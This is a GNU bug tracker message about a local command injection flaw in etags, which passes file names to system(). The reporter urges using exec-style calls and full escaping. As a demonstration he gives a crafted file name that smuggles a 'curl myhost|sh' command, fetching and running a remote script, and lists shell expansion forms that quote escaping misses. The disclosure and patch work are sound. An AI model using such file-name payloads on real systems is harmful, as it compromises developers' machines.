GNU bug report logs -
#59817
[PATCH] Fix etags local command injection vulnerability
Previous Next
Reported by: lux <lx <at> shellcodes.org>
Date: Sun, 4 Dec 2022 13:52:01 UTC
Severity: normal
Tags: patch
Done: Eli Zaretskii <eliz <at> gnu.org>
Bug is archived. No further changes may be made.
Full log
Message #17 received at 59817 <at> debbugs.gnu.org (full text, mbox):
[Message part 1 (text/plain, inline)]
> Please understand: etags is a stable program. I'm not interested in
> changes that modify its design or implementation in such drastic ways.
I understand, but not completely agree, stable != security.
Why use the system() function? This is a lazy, insecure little trick,
the exec*(such as execvp) function should be used first. We need
execute a command, but we don't need execute a shell script.
Example a case, In my team, some people like automatically pull new
code from code server, and use etags update tags, so I secretly uploaded
a new file, the file name is:
$ touch "';curl myhost|sh #'a.z"
when he automatically update the tags, I hacking his computer.
So, I have two suggestions:
1. don't use system(), unless know what are doing.
2. escape all dangerous characters, just escaping quotes is not
enough, the following characters can perform additional actions:
"$(ls)"
"`ls`"
"${SHELL}"
"$SHELL"
I'm writing a new patch to escape dangerous characters, and test.
Thanks.
[Message part 2 (text/html, inline)]
This bug report was last modified 2 years and 167 days ago.
Previous Next
GNU bug tracking system
Copyright (C) 1999 Darren O. Benham,
1997,2003 nCipher Corporation Ltd,
1994-97 Ian Jackson.